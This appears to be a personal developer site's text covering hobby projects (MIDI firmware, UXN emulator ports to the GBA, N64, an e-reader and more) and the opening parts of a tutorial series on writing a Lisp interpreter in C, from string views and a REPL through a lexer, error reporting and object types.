BDL (Bad Diode’s Lisp) was an experimental programming language, and the predecessor to the Oni programming language. It has underwent a number of iterations, from a tree-walking interpreter, to a stack based bytecode interpreter, to natively compiled to ASM/machine code. A series of articles follow the developemnt of the language since its inception. Parts 0 to 6 cover the implementation of the tree-walking interpreter, parts 7-9 lay down some ground rules for iterating on a new language.

BDL Articles

A custom firmware for the Novation Launchpad Pro (mk1) that transforms it into a MIDI processor which captures input note events, and splits them into multiple output channels. This enables polychaining and transforms monophonic instruments (like the Elektron Digitakt) into fully playable synthesizers of up to 16 voices, ideal for “dawless” setups. Take a look at the demo on YouTube for more information.

This project is open source but your support will allow me to add new features, such as multiple profile pages and a note mode with scales support. You can get the current firmware version by dropping a few bucks on the itch.io page.

The current version (v1.0.0) supports the basic polyphony generator functionality and enables the selection of start/end of the MIDI channel range for the polyphony splitter and 4 modes of voice stealing:

• Voice steal off: Once the maximum polyphony is reached, new incoming notes are discarded.
• Discard oldest: The oldest note makes room for incoming ones.
• Discard highest: The note with the highest pitch is removed.
• Discard lowest: The note with the lowest pitch is removed.

From within the available voices, round robin scheduling is used to find the next playable channel. This allows single note melodic lines in instruments with long releases to sound more natural, as we are not abruptly stopping the sound of a channel to play a new note.

The main view allows you to see the number of voices currently in use, bypassing the polyphony generator and selecting the method of voice stealing.

Pressing the “Setup” button switches to the configuration page, where three groups of 16 pads are used to select the MIDI start, MIDI end and channels being captured from the MIDI in. The start and end ranges define the number of voices available for polyphonic distribution. Exiting the Setup page will save the changes so that they persist through power cycles.

The sysex file can be uploaded into your Launchpad by holding setup while powering the device and using your favorite sysex transfer file. In Linux I use:

amidi -p hw:4,0,0 -s launchpad_pro.syx -i 20

Where hw:4,0,0 is your device ID, which can be found with amidi -l.

Hot code reloading is possible in C and really easy to do. If you ever missed the interactivity that dynamic languages like Python or Lisp, maybe the Micro Interactive C (MIC) is worth a try. In less than 300 lines of code, MIC can be used as a base to build interactive applications, where the program state can be retained while performing iterative development.

For a step by step example of using MIC to develop an OpenGL application with hot-code reloading, check out this article.

UXN is a project created by the artist collective and research studio 100 rabbits. It can be used to write small graphical applications, tools and games. Programs written for UXN are distributed via bytecode compiled roms, akin to classic console emulators. This means that to have UXN programs running on any system, we only need to port the bytecode interpreter for the CPU and its associated devices for graphics, I/O, audio, etc. More details about its design can be found here.

I like this project quite a lot and find joy in porting the emulator to many systems, with a focus on low powered devices. Some of these ports are more involved than others, and in general getting the basic CPU running is a simple as using the uxn.c file from the reference implementation so the main porting complexity revolves around the implementation of the devices around the actual hardware.

UXNGBA

UXNGBA (mirror) is a port of UXN for Game Boy Advance (GBA). This was my first port and by far the most involved. The GBA is a very limited system having only a 16Mhz CPU and 96KB of video memory. This port required implementing an efficient framebuffer drawing PPU, a 4 channel audio player, a filesystem, and adapting the controls for different rom types.

The PPU uses Mode-0 to allow us the use of two palleted “background layers” for UXN’s foreground and background graphics. To avoid flickering, double buffering was implemented, which along the tile map consumes a big chunk of the available video memory (~84KB). With the remainder of the VRAM, we load a monospace font to be used as sprites for the virtual keyboard. The drawing routines make use of pre-calculated LUTs to unpack 2bpp sprites and we keep track of which tiles weren’t drawn on to avoid unnecessary redraws.

For the audio, since the GBA doesn’t have a floating point unit, all calculations had to be made with fixed point math. In addition to the 4 channel mixer and ADSR envelope, the quality of the audio can be controlled by a compile time macro (AUDIO_HIFI, AUDIO_LOFI or just normal), as audio can be quite resource intensive. These have different resampling frequencies and number of fixed point precision bits.

In terms of input, the GBA maps quite well to the “controller” device, and pressing select you can cycle through the three input methods (controller, mouse or keyboard). The keyboard sprites could probably be improved to improve readability, but for now it works well enough.

The file system currently in place is pretty limited, but memory is at premium also here. By default is configured with a block size of 1KB, and maximum file name size of 32 bytes, giving us a maximum of 64 usable files. Unfortunately right now there is no way of injecting or extracting files from the .sav file, but I’m interested in having a tool for this purpose in the future.

One peculiarity of this port is that the uxn roms are injected as part of the executable instead of as separate files. This way, we can create multiple rom files for different uxn roms. Bear in mind that the file system is on a per rom basis, so roms can’t share files, as they are stored in separate .sav files. Once we have a file injector in place, we could have a single bundled rom to act as a launcher and will work around this issue, since all of them will share the same save file.

UXNFB

The reference UXN emulator uses SDL for audio, input and rendering, and while it supports a variety of systems, I wanted to have an UXN implementation that had zero dependencies other than the Linux headers. After some experimentation I created uxnfb, a port of UXN that uses the Linux framebuffer for rendering and input headers for keyboard/mouse handling.

This port is mostly complete, although audio has not been implemented yet. The current implementation requires passing a path for the keyboard and mouse input devices, but in the future I’ll probably add an override as command line parameters.

UXNNST

Found an old Nook Simple Touch (NST) on the garbage and after a bit of tinkering, I got it rooted and was able to install ADB and run arbitrary code on it. It was just a matter of time until uxnnst was created. The NST runs a very outdated Android 2.1 version, which is in turn based on Linux. We can’t really install any libraries easily, but luckily I already had uxnfb, which just needed some minor adaptations to work.

The screen is a 16bpp grayscale so for better mapping between the RGBA palettes, we transform them to the rgb565 colorspace. Unfortunately, when mmapping the framebuffer device, writing to it doesn’t update the screen. This can be done by performing a write call of size 0. E-ink displays have a low refresh rate, thus, we do this update once every 5 frames (83ms). Similarly, these screens tend to have a ghosting effect, which is solved by a full screen refresh every once in a while. Writing “1” to /sys/class/graphics/fb0/epd_refresh seems to do the trick. By default we only perform this full refresh if the screen has actually changed, saving battery life and avoiding a “rave effect”. We do this every 300 frames in which the screen has changed.

The front buttons in my unit are quite damaged, but they still work, so I assigned them the controller up, down, left and right keys. The home button’s only purpose is to exit the program. This way, we can just run the emulator on a loop (while true do; ./uxnnst launcher.rom; done) and still be able to switch applications when desired. The touchscreen is treated as an absolute mouse position and taps are registered as left mouse clicks.

Overall I’d say this port is mostly complete, albeit there is no keyboard support. We could implement some form of virtual keyboard, but I think this device is best used for programs that don’t rely on it.

I have some notes that show how you can root the NST and execute arbitrary code, including UXNNST, but if you don’t want to build it from source, you can also download the latest binary and run it with adb:

adb push uxnnst /tmp
adb push screen.rom /tmp
adb push launcher.rom /tmp
adb shell
cd /tmp
while true; do ./uxnnst launcher.rom; sleep 1; done

UXN64

uxn64 is a port of UXN for the Nintendo 64 (N64). It uses the CPU to write directly to the framebuffer instead of making use of the Reality Control Processor (RCP). This seems to perform well enough for now. I tried to use textures on the RCP, but the 4KB size seemed very limiting and my (horrible) implementation of this technique ended up crashing real N64s. I’ll revisit this in the future if I figure out a better rendering method. Similarly, the audio uses triple buffering and a separate audio thread gathers the next set of samples from uxn and prepares a DMA transfer to the audio DAC to the next available slot.

The input method takes advantage of the N64 controller layout to act simultaneously as controller and mouse.

Controller:

• D-pad / C-buttons: Controller direction.
• A / B: A / B
• Start / Z: Start / Select

Mouse:

• Analog joystick: Mouse.
• L / R buttons: Left/right mouse buttons.

It uses the official N64 development SDK, so the majority of emulators will work with it. Additionally, the uxn roms are “baked in” in the same manner as uxngba, however the MIPS processor in the N64 has a MSB layout, so this must be accounted for. For more information about compilation and obtaining the SDK, check the README.

UXNRPI

I wanted to learn how to do bare-metal programming for the Raspberry PI, and once I manage to get a framebuffer, I couldn’t help but to try to run UXN on it. And so, uxnrpi was born. This port is outdated and largely incomplete, but could be used as a reference for future projects. Either way I was very happy I managed to get the code running via qemu but also on my Raspberry Pi 4, here seen connected to a TV. There is currently no input support, as that would involve implementing a USB driver or making use of the GPIO ports, and I don’t have the means to do either of those things right now.

Introduction

I’ve recently started the implementation of a new programming language for fun and to better understand the different moving parts involved. I’ve chosen to implement a Scheme inspired language due to its power, flexibility and simplicity. With that said, I don’t expect this language to be compatible with existing implementations, but instead I’ll implement primitives, built-in functions and library functions as I need them. I’ve added some resources at the bottom of this page to read people that are more qualified than me to talk about compilers and programming languages, but maybe some of the concepts I’ll be writing here are of interest to you.

For the bootstrap implementation, I’ll be building a tree-walking interpreter that can read programs from standard input, from a given file or list of files or interactively via a read-eval-print-loop (REPL). This initial implementation can then be used to generate a self-hosted compiler, but we will talk about that once we have a fully fledged interpreter. This bootstrap interpreter will be written in C99, use no external libraries and it will start a bit rough around the edges, but hopefully it will get better as we go.

The code is freely available and at the moment of this writing I’ve already implemented a good part of the interpreter. However, I’ve pushed a new, mostly empty branch so that you can follow along with this writing. This gives me the benefit of hindsight and allows me to perform some light refactoring that will get merged back into the main branch.

Who bootstraps the bootstrappers?

If you download the code from the v0.0 branch you should have a simple Makefile, a src/bootstrap/main.c file with the program skeleton and some other directories (examples, tests) that you can just ignore for now. They just contain some example code for the language and the expected results of running the examples for testing purposes.

We will be using a unity build compilation approach, which means we will really need to compile and link the main.c file. The Makefile is a convenience, but you should be able to compile the code throughout the project with:

cc src/bootstrap/main.c -o bdl

where cc is your compiler of choice and bdl is the output binary. For now I’m just interested in supporting Linux and macOS, but I don’t know, it may also work on Windows (haven’t tried to compile C code there in a long while).

The skeleton file uses the POSIX getopts to parse command line parameters and flags. We want the following behaviour:

1. Interpret input files in the given order: bdl file1.bdl file2.bdl ...
2. Run an interactive REPL: bdl -i
3. Read the standard input if no input files were specified: cat file1.bdl | bdl or echo "(+ 1 2 3)" | bdl

For now, the goal is to echo the given input to stdout for the three supported usages. For this we will need a way of reading commands interactively, with optional support for line editing (arrows or chords) and history. But since we will be working with strings for the first stage, and C is infamous for the way it handles string manipulation, we will define a little utility to help us work more cleanly.

The string view (StringView)

In C, strings are simply a series of raw bytes followed by the null terminator character ('\0'). This have some advantages, since the memory footprint of a string is very compact, but operations on strings can perform poorly or be difficult to handle. For example calling the library function strlen requires iterating over each byte until the null terminator is found. Additionally, we want to avoid performing unnecessary heap allocations, so in later stages, when we want to split the source string into tokens, we want a way of storing references to the original string rather than copying parts of it around. Enter…the StringView:

typedef struct StringView {
    char *start;
    size_t n;
} StringView;

The StringView contains a pointer to a memory location denoting the starting point of the substring (start) and the number of characters it contains (n). With this simple structure, we can define a couple of functions that allow us to iterate over it or peek the next character:

char
sv_next(StringView *sv) {
    if (sv->n == 0) {
        return '\0';
    }
    char c = sv->start[0];
    sv->start++;
    sv->n--;
    return c;
}

char
sv_peek(const StringView *sv) {
    if (sv->n == 0) {
        return '\0';
    }
    return sv->start[0];
}

We also include a couple of helper methods to compare two StringViews or write them to stdout or an output file:

bool
sv_equal(const StringView *a, const StringView *b) {
    if (a->n != b->n) {
        return false;
    }
    for (size_t i = 0; i < a->n; i++) {
        if (a->start[i] != b->start[i]) {
            return false;
        }
    }
    return true;
}

void
sv_write(const StringView *sv, FILE *file) {
    for (size_t i = 0; i < sv->n; i++) {
        putc(sv->start[i], file);
    }
}

Processing files

The simplest way of processing files is to read each of the files fully into memory. Computers these days have enough memory that this shouldn’t be a problem, and if is, we can always break down big files into small ones. The way to do this in C is a bit ugly, but here is the updated run_file function:

void
run_file(char *file_name) {
    FILE *file = fopen(file_name, "r");
    if (!file) {
        fprintf(stderr, "error: couldn't open input file: %s\n", file_name);
        exit(EXIT_FAILURE);
    }

    // Read entire file into memory.
    fseek(file, 0, SEEK_END);
    size_t file_size = ftell(file);
    fseek(file, 0, SEEK_SET);

    char *source = malloc(file_size + 1);
    fread(source, 1, file_size, file);
    source[file_size] = 0;

    StringView sv = (StringView){
        .start = source,
        .n = file_size,
    };

    process_input(&sv);

    free(source);
    fclose(file);
}

We also make our process_source function take a StringView and for now we just write its contents to stdout:

void
process_source(const StringView *source) {
    sv_write(source, stdout);
}

To try it out you can use it to dump the main function to file:

make
./build/bdl src/bootstrap/main.c

Reading from stdin

Reading the input from stdin is a bit more tricky, if only because we don’t know in advance how long the input will be. For this purpose we will be using the concept of dynamic arrays by allocating a small buffer, and if the number of bytes read before reaching EOF fills the buffer, we would reallocate the buffer with double its previous capacity:

#define STDIN_BUF_SIZE 16

void
run_stdin(void) {
    size_t buf_size = 0;
    size_t buf_cap = STDIN_BUF_SIZE;
    char *source = malloc(sizeof(char) * buf_cap);

    char c;
    while ((c = getchar()) != EOF) {
        if (buf_size == buf_cap) {
            buf_cap *= 2;
            source = realloc(source, buf_cap * sizeof(char));
        }
        source[buf_size] = c;
        buf_size++;
    }

    StringView sv = (StringView){
        .start = source,
        .n = buf_size,
    };

    process_source(&sv);

    free(source);
}

Interactive execution (REPL)

To handle the REPL commands we need a small buffer space (who is going to write more than 1024 characters directly on the REPL?) that can be statically allocated. Every time we call read_line, we clear the buffer and progressively fill up the buffer until we encounter a newline. Note that we only accept ascii characters as input, and if the EOF character is found we want to exit the REPL gracefully.

#define RL_BUF_SIZE 1024
static char readline_buf[RL_BUF_SIZE];

StringView
read_line(void) {
    // Clear buffer.
    for (size_t i = 0; i < RL_BUF_SIZE; i++) {
        readline_buf[i] = 0;
    }

    // Barebones readline implementation.
    size_t n = 0;
    char c;
    while ((c = getchar()) != '\n') {
        if (c == '\b') {
            readline_buf[n] = '\0';
            n--;
        } else if (c == EOF || c == '\0') {
            return (StringView){ .start = NULL, .n = 0 };
        } else if ((c >= ' ' && c <= '~') && n < RL_BUF_SIZE) {
            readline_buf[n] = c;
            n++;
        }
    }

    StringView sv = (StringView){
        .start = (char *)&readline_buf,
        .n = n,
    };
    return sv;
}

The resulting StringView can be passed to the process_source function as with the other methods. Our new run_repl function is as follows:

void
run_repl(void) {
    printf("BDL REPL (Press Ctrl-D or Ctrl-C to exit)\n");
    while (true) {
        printf(REPL_PROMPT);
        StringView sv = read_line();
        if (sv.start == NULL) {
            return;
        }
        process_source(&sv);
        if (sv.n != 0) {
            printf("\n");
        }
    }
}

Conclusion

And with that we finish the initial setup! You can find the final source code with the v0.1 tag. Next up we will talk a bit about the Scheme language and build our lexer that will extract the tokens from the source code.

Resources

• Structure and Interpretation of Computer Programs
• Crafting Interpreters
• Building a Scheme from scratch
• Compiling a Lisp
• An Incremental Approach to Compiler Construction
• Make-A-Lisp Guide
• An Introduction to Scheme and its Implementation

Introduction

On the previous post we created the boilerplate for our interpreter. Today we are going to create a “lexer” for our language. The goal of a lexer is to traverse the source code to create a list of tokens. The tokens are composed of a token type and the actual “lexeme” (value) of the token. We will also be storing some other metadata such as line/column number in each token to help in error reporting. Speaking of error reporting, we start building an error reporting infrastructure inspired by the one described in Crafting Interpreters. But first, let’s talk about the language.

Scheme, lists and parenthesis oh my!

Scheme is a simple, dynamically typed, Lisp based programming language. Pretty much the entire language could be summarized as:

(operator operand0 operand1 ...)

In broad strokes, the first element of a list (represented by parenthesis) is a procedure or binding we want to evaluate, and operands are the arguments for those procedures. Of course this is not entirely true, in Lisp based languages, we can also represent data as lists. In other words, the data is the code and the code is the data, it just depends on the context and how we interpret it.

Lists can be nested and the evaluation will happen recursively, so for example:

(+ 1 2 (* 2 3 4 (- 100 95)))

Results in the sum of 1 + 2 + (2 * 3 * 4 * (100 - 95)) if we were using infix notation.

One powerful tool in Scheme is “quotation”. Using quotes we can denote a piece of code as data. So while (+ 1 2) evaluates to 3, '(+ 1 2) evaluates to (+ 1 2). We will talk about quoting later, but for now this should be enough to give you a brief understanding.

To start we will be supporting the following primitive objects:

• fixnum: Signed integers of the biggest size available to the machine.
• strings: Strings of characters and its corresponding length.
• bools: True/false values.
• pairs: A pair has the pointer to two values, the internal representation of lists is by chaining pairs together.
• nil: Also known as the empty list.
• symbols: A string that could or couldn’t be bound to another value. Basically any other type of identifier.

Tokens

With all of this knowledge, we can represent the entirety of the language with the following token types, which include the parentheses, single quote, and the aforementioned primitive types. At the end of the parsing we will be pushing the EOF token:

typedef enum TokenType {
    TOKEN_UNKNOWN = 0,
    TOKEN_LPAREN,
    TOKEN_RPAREN,
    TOKEN_QUOTE,
    TOKEN_TRUE,
    TOKEN_FALSE,
    TOKEN_NIL,
    TOKEN_FIXNUM,
    TOKEN_SYMBOL,
    TOKEN_STRING,
    TOKEN_EOF,
} TokenType;

As mentioned before, for each token we store its type and string value in the form of a StringView. This allow us to avoid unnecessary string allocations for the different lexems. We also keep track of the starting line and column of the token for easier error reporting:

typedef struct Token {
    TokenType type;
    StringView value;
    size_t line;
    size_t column;
} Token;

To store a list of tokens, we will be using a dynamic array as explained before for the run_stdin function. We will also create a helper method for adding tokens to the buffer:

typedef struct Tokens {
    Token *buf;
    size_t size;
    size_t cap;
} Tokens;

#define TOK_BUF_CAP 256

void
token_push(Tokens *tokens, Token tok) {
    if (tokens->buf == NULL) {
        tokens->size = 0;
        tokens->cap = TOK_BUF_CAP;
        tokens->buf = malloc(tokens->cap * sizeof(Token));
    } else if (tokens->size == tokens->cap) {
        tokens->cap *= 2;
        tokens->buf = realloc(tokens->buf, tokens->cap * sizeof(Token));
    }
    tokens->buf[tokens->size] = tok;
}

We also create a Scanner structure and associated procedures to help us traverse the source code while keeping track of the line/column number and character offset from the beginning of the string.

typedef struct Scanner {
    StringView current;
    size_t line_number;
    size_t col_number;
    size_t offset;
} Scanner;

char
scan_next(Scanner *scanner) {
    char c = sv_next(&scanner->current);
    if (c == '\n') {
        scanner->line_number++;
        scanner->col_number = 1;
    } else {
        scanner->col_number++;
    }
    scanner->offset++;
    return c;
}

char
scan_peek(const Scanner *scanner) {
    return sv_peek(&scanner->current);
}

bool
scan_has_next(const Scanner *scanner) {
    return scanner->current.n != 0;
}

We also create a couple of helper functions to skip whitespace, test if a given character is a delimiter and find the primitive type of a StringView value:

void
skip_whitespace(Scanner *scanner) {
    while (scan_has_next(scanner)) {
        char c = scan_peek(scanner);
        switch (c) {
            case ' ':
            case '\f':
            case '\n':
            case '\r':
            case '\t':
            case '\v': {
                scan_next(scanner);
            } break;
            default: {
                return;
            } break;
        }
    }
}

bool
is_delimiter(char c) {
    switch (c) {
        case EOF:
        case '\0':
        case ';':
        case '"':
        case '\'':
        case '(':
        case ')':
        case ' ':
        case '\f':
        case '\n':
        case '\r':
        case '\t':
        case '\v': {
            return true;
        } break;
    }
    return false;
}

TokenType
find_primitive_type(StringView value) {
    bool is_fixnum = true;
    for (size_t i = 0; i < value.n; i++) {
        char c = value.start[i];
        if (i == 0 && c == '-' && value.n > 1) {
            continue;
        }
        if (!(c >= '0' && c <= '9')) {
            is_fixnum = false;
            break;
        }
    }
    if (is_fixnum) {
        return TOKEN_FIXNUM;
    }
    if (sv_equal(&value, &(StringView){"true", 4})) {
        return TOKEN_TRUE;
    }
    if (sv_equal(&value, &(StringView){"false", 5})) {
        return TOKEN_FALSE;
    }
    return TOKEN_SYMBOL;
}

With this we can create a new procedure to tokenize the input, note how the Scanner copies the original StringView value to avoid modifying it.

Tokens
tokenize(const StringView *sv) {
    Tokens tokens = (Tokens){0};
    Scanner scanner = (Scanner){
        .current = *sv,
        .line_number = 1,
        .col_number = 1,
    };

    while (scan_has_next(&scanner)) {
        skip_whitespace(&scanner);
        size_t line = scanner.line_number;
        size_t col = scanner.col_number;
        size_t offset = scanner.offset;
        char c = scan_next(&scanner);
        switch (c) {
            case ';': {
            } break;
            case '"': {
            } break;
            case '\'': {
            } break;
            case '(': {
            } break;
            case ')': {
            } break;
            default: {
            } break;
        }
    }
    return tokens;
}

The easiest case to deal with is comments (;). We just have to skip everything from the comment character until a newline character is encountered.

    case ';': {
        while ((c = scan_next(&scanner)) != '\n' && c != '\0') {}
    } break;

The TOKEN_QUOTE, TOKEN_RPAREN, TOKEN_LPAREN and TOKEN_NIL don’t require any value anc can be generated directly when we encounter them:

    case '\'': {
        Token token =  (Token){
            .type = TOKEN_QUOTE,
            .line = line,
            .column = col,
        };
        push_token(&tokens, token);
    } break;
    case '(': {
        if (scan_peek(&scanner) == ')') {
            scan_next(&scanner);
            Token token =  (Token){
                .type = TOKEN_NIL,
                .line = line,
                .column = col,
            };
            push_token(&tokens, token);
        } else {
            Token token =  (Token){
                .type = TOKEN_LPAREN,
                .line = line,
                .column = col,
            };
            push_token(&tokens, token);
        }
    } break;
    case ')': {
        Token token =  (Token){
            .type = TOKEN_RPAREN,
            .line = line,
            .column = col,
        };
        push_token(&tokens, token);
    } break;

If we find a string, we need to traverse the source until we find a non escaped closing double quotes. This is the only instance in which our lexer can generate an error. We will leave the error reporting for the next section:

    char prev = c;
    bool found = false;
    size_t n = 0;
    while (scan_has_next(&scanner)) {
        c = scan_next(&scanner);
        if (c == '"' && prev != '\\') {
            found = true;
            break;
        }
        prev = c;
        n++;
    }
    if (!found) {
        // TODO: Report error: couldn't find the closing quotes.
    }
    Token token =  (Token){
        .value = (StringView){
            .start = &sv->start[offset + 1],
            .n = n,
        },
        .type = TOKEN_STRING,
        .line = line,
        .column = col,
    };
    push_token(&tokens, token);

Finally, we consider the rest of the primitive identifiers (true/false, fixnums and symbols). We keep reading characters until we find a delimiter and we then build the token and find the corresponding type with the helper function find_primitive_type:

    size_t n = 1;
    while (scan_has_next(&scanner)) {
        c = scan_next(&scanner);
        if (is_delimiter(c)) {
            break;
        }
        n++;
    }
    if (c == EOF || c == '\0') {
        break;
    }
    Token token =  (Token){
        .value = (StringView){
            .start = &sv->start[offset],
            .n = n,
        },
        .type = TOKEN_SYMBOL,
        .line = line,
        .column = col,
    };
    token.type = find_primitive_type(token.value);
    push_token(&tokens, token);

We can now test the tokenizer by modifying the process_source procedure on the main file (Don’t forget to free the token buffer!).

void
process_source(const StringView *source) {
    Tokens tokens = tokenize(source);

    // Print tokens.
    for (size_t i = 0; i < tokens.size; i++) {
        Token tok = tokens.buf[i];
        print_token(tok);
    }

    free(tokens.buf);
}

Note that we implemented a simple print_token function to test that the lexer is working as expected. Try to run it with the files from the example folder or by using the REPL.

Errors

Let’s talk about errors. First of all, there are different type of errors that can occur, for example, lexing errors, parsing errors or runtime errors. For the first two, we want to report the line and column of the error and the file name if applicable in addition to the error. Most text editors have a way of parsing error messages to aid in code navigation, for example:

filename.c:208:37: error: ‘an_example_var’ undeclared (first use in this function)

We want to output a similar error format, but when adding files via stdin or REPL commands, the errors may be slightly different.

To keep things simple, we will have a limited number of possible error types, each with an associated base text string. An error is then composed of an error type and error value:

typedef enum ErrorType {
    ERR_TYPE_LEXER,
    ERR_TYPE_PARSER,
    ERR_TYPE_RUNTIME,
} ErrorType;

typedef enum ErrorValue {
    ERR_UNKNOWN = 0,
    ERR_UNMATCHED_STRING,
} ErrorValue;

typedef struct Error {
    ErrorType type;
    ErrorValue value;
    size_t line;
    size_t col;
} Error;

static const char* error_msgs[] = {
    [ERR_UNKNOWN] = "error: something unexpected happened",
    [ERR_UNMATCHED_STRING] = "error: unmatched string delimiter",
};

It is possible that if there are any errors, we could still continue gracefully with our program execution. For this reason, we want to allow storing a number of errors in a buffer to handle them on request. Since we don’t want to spam the users with thousands of error messages just because an error happens at the beginning, we store a small static buffer to keep track of the number of errors in the pipe. For now, we can say that the maximum number of errors to display at any given time is 16:

#define ERR_MAX_NUMBER 16
static Error errors[ERR_MAX_NUMBER];
static size_t errors_n = 0;

void
error_push(Error error) {
    if (errors_n < ERR_MAX_NUMBER) {
        errors[errors_n++] = error;
    }
}

Let’s go back and add error output to the missing string delimiter for our lexer:

    ...

    if (!found) {
        error_push((Error){
                .type = ERR_TYPE_LEXER,
                .value = ERR_UNMATCHED_STRING,
                .line = line,
                .col = col,
        });
        return tokens;
    }

    ...

We can now handle the case where errors_n != 0 for each of the possible ways of running our program.

void
process_source(const StringView *source) {
    Tokens tokens = tokenize(source);
    if (errors_n != 0) {
        if (tokens.buf != NULL) {
            free(tokens.buf);
        }
        return;
    }

...

void
run_repl(void) {
    printf("BDL REPL (Press Ctrl-D or Ctrl-C to exit)\n");
    while (true) {
        printf(REPL_PROMPT);
        StringView sv = read_line();
        if (sv.start == NULL) {
            return;
        }
        process_source(&sv);

        // Check if there were any errors.
        if (errors_n != 0) {
            for (size_t i = 0; i < errors_n; i++) {
                Error err = errors[i];
                for (size_t j = 0; j < err.col + sizeof(REPL_PROMPT) - 2; j++) {
                    putchar(' ');
                }
                printf("|\n");
                for (size_t j = 0; j < err.col + sizeof(REPL_PROMPT) - 2; j++) {
                    putchar(' ');
                }
                printf("%s\n", error_msgs[err.value]);
            }
            errors_n = 0;
            continue;
        }

...

void
run_file(char *file_name) {
    ...
    process_source(&sv);

    // Check if there were any errors.
    if (errors_n != 0) {
        for (size_t i = 0; i < errors_n; i++) {
            Error err = errors[i];
            printf("%s", file_name);
            if (err.line != 0) {
                printf(":%ld:%ld", err.line, err.col);
            }
            printf("%s\n", error_msgs[err.value]);
        }
        errors_n = 0;
    }

...

void
run_stdin(void) {
    ...
    process_source(&sv);

    // Check if there were any errors.
    if (errors_n != 0) {
        for (size_t i = 0; i < errors_n; i++) {
            Error err = errors[i];
            printf("stdin");
            if (err.line != 0) {
                printf(":%ld:%ld: ", err.line, err.col);
            }
            printf("%s\n", error_msgs[err.value]);
        }
        errors_n = 0;
    }

...

For files and stdin we output an error that can be parsed by text editors, but on the REPL we get a bit fancy and display an indicator of where the error happened, since we can only have a single line:

BDL REPL (Press Ctrl-D or Ctrl-C to exit)
bdl> (this is a "test for unterminated strings
                |
                error: unmatched string delimiter
bdl>

Conclusion

That is all for now! You can fetch the source code at this point with the v0.2 tag. Hope you are enjoying so far! Next up: Parsing.

Introduction

After generating a series of tokens, we can now start the parsing process. The goal of the parser is to create an abstract syntax tree (AST) storing a representation of the current expression. An interesting property of Lisp languages is that the AST can be used directly, since lists are stored internally as linked objects. This lends itself well to a recursive implementation for parsing, displaying and evaluating the code.

The goal for our interpreter today is to build and AST (reporting errors as necessary) from the list of tokens, and echo back a string representation of the given input:

BDL REPL (Press Ctrl-D or Ctrl-C to exit)
bdl> (+ 1 a b ("c d" false) ())
(:+ 1 :a :b ("c d" false) ())

This doesn’t look very impressive, but under the hood the aforementioned transformations will be performed and the same mechanism used for displaying the output will later be used for expression evaluation.

Objects and object types

Our language is dynamically typed, and we need a way of identifying each entity at runtime. We will be calling the base type Object, though it has nothing to do with Object Oriented Programming. Maybe Datum would be a better name, but I’m afraid it may be more confusing for people. In any case, objects can be of several types, for now we consider the following:

typedef enum ObjectType {
    OBJ_TYPE_FIXNUM,
    OBJ_TYPE_BOOL,
    OBJ_TYPE_NIL,
    OBJ_TYPE_SYMBOL,
    OBJ_TYPE_STRING,
    OBJ_TYPE_PAIR,
    OBJ_TYPE_PROCEDURE,
    OBJ_TYPE_ERR,
} ObjectType;

We talked about most of these in the previous article, with the exception of procedure. We will talk more in depth about procedures in the future, but for now we consider these to be referring to built-in primitive functions, like + or -. To create polymorphism in C, there are a couple of alternatives. Here we will use the concept of a tagged union for clarity, but we will revisit the internal object representation in the future when its time to think about optimization. The Object struct contains a ObjectType field followed by an area of memory that could be interpreted differently depending on the type tag:

typedef struct Object {
    ObjectType type;
    union {
        // OBJ_TYPE_FIXNUM
        ssize_t fixnum;

        // OBJ_TYPE_STRING
        struct {
            char *string;
            size_t string_n;
        };

        // OBJ_TYPE_PAIR
        struct {
            struct Object *car;
            struct Object *cdr;
        };

        // OBJ_TYPE_SYMBOL
        struct {
            char *symbol;
            size_t symbol_n;
        };

        // OBJ_TYPE_PROCEDURE
        struct Object *(*proc)(struct Object *args);
    };
} Object;

The total size of each allocated object will be the size of the type tag and the maximum size of each possible type plus any necessary padding. In the previous example sizeof(Object) == 24. The largest value in the union is composed of two pointers, which in a x86_64 occupy 8 bytes each. ObjectType only requires 4 bytes, but our processors like memory to be aligned to specific boundaries, so we have 4 extra bytes of padding. This is an enormous amount of memory to use for every single entity in our code, but making things clear is more important right now than maximum speed. In fact, tree based interpreters like the one we are building are already slow, so we probably address this point when we wish to optimize the code further.

In any case, astute readers may have noticed that there is OBJ_TYPE_BOOL or OBJ_TYPE_NIL in the structure. This is because we will treat those objects as singletons, which will make it so that we don’t have to allocate memory for each of those and the empty list (nil) and company are always the same for all cases. We also keep track of a special object for denoting errors.

// Singletons.

Object *obj_nil;
Object *obj_true;
Object *obj_false;
Object *obj_err;

Next, we create a number of constructors for the relevant types and a helper function to append a string type.

Object *
alloc_object(ObjectType type) {
    Object *obj = malloc(sizeof(Object));
    obj->type = type;
    return obj;
}

Object *
make_fixnum(ssize_t num) {
    Object *obj = alloc_object(OBJ_TYPE_FIXNUM);
    obj->fixnum = num;
    return obj;
}

Object *
make_procedure(Object *(*proc)(struct Object *args)) {
    Object *obj = alloc_object(OBJ_TYPE_PROCEDURE);
    obj->proc = proc;
    return obj;
}

Object *
make_pair(Object *car, Object *cdr) {
    Object *obj = alloc_object(OBJ_TYPE_PAIR);
    obj->car = car;
    obj->cdr = cdr;
    return  obj;
}

Fixnums, procedures and pairs are simple. Symbols require us to copy the symbol name internally, and strings are initialized as empty and need to be appended a given string.

Object *
make_symbol(StringView sv) {
    Object *obj = alloc_object(OBJ_TYPE_SYMBOL);
    obj->symbol = malloc(sizeof(char) * sv.n);
    memcpy(obj->symbol, sv.start, sv.n);
    obj->symbol_n = sv.n;
    return obj;
}

Object *
make_string(void) {
    Object *obj = alloc_object(OBJ_TYPE_STRING);
    obj->string = NULL;
    obj->string_n = 0;
    return obj;
}

void
append_string(Object *obj, const StringView sv) {
    assert(obj != NULL);
    assert(obj->type == OBJ_TYPE_STRING);
    if (sv.n == 0) {
        return;
    }
    obj->string = realloc(obj->string, (obj->string_n + sv.n) * sizeof(char));
    memcpy(obj->string + obj->string_n, sv.start, sv.n);
    obj->string_n += sv.n;
}

We also need to create an initialization function that will instantiate the singleton objects. It should be ran exactly once at the beginning of our program.

void
init(void) {
    // Initialize singletons.
    obj_nil = alloc_object(OBJ_TYPE_NIL);
    obj_true = alloc_object(OBJ_TYPE_BOOL);
    obj_false = alloc_object(OBJ_TYPE_BOOL);
    obj_err = alloc_object(OBJ_TYPE_ERR);
}

We also shouldn’t forget about freeing our objects. We will be building a tree, so we must be able to traverse it and free everything inside. We have to be careful not to free the singleton objects:

void
free_objects(Object *root) {
    switch (root->type) {
        case OBJ_TYPE_BOOL: break;
        case OBJ_TYPE_NIL: break;
        case OBJ_TYPE_ERR: break;
        case OBJ_TYPE_PROCEDURE:
        case OBJ_TYPE_FIXNUM: {
            free(root);
        } break;
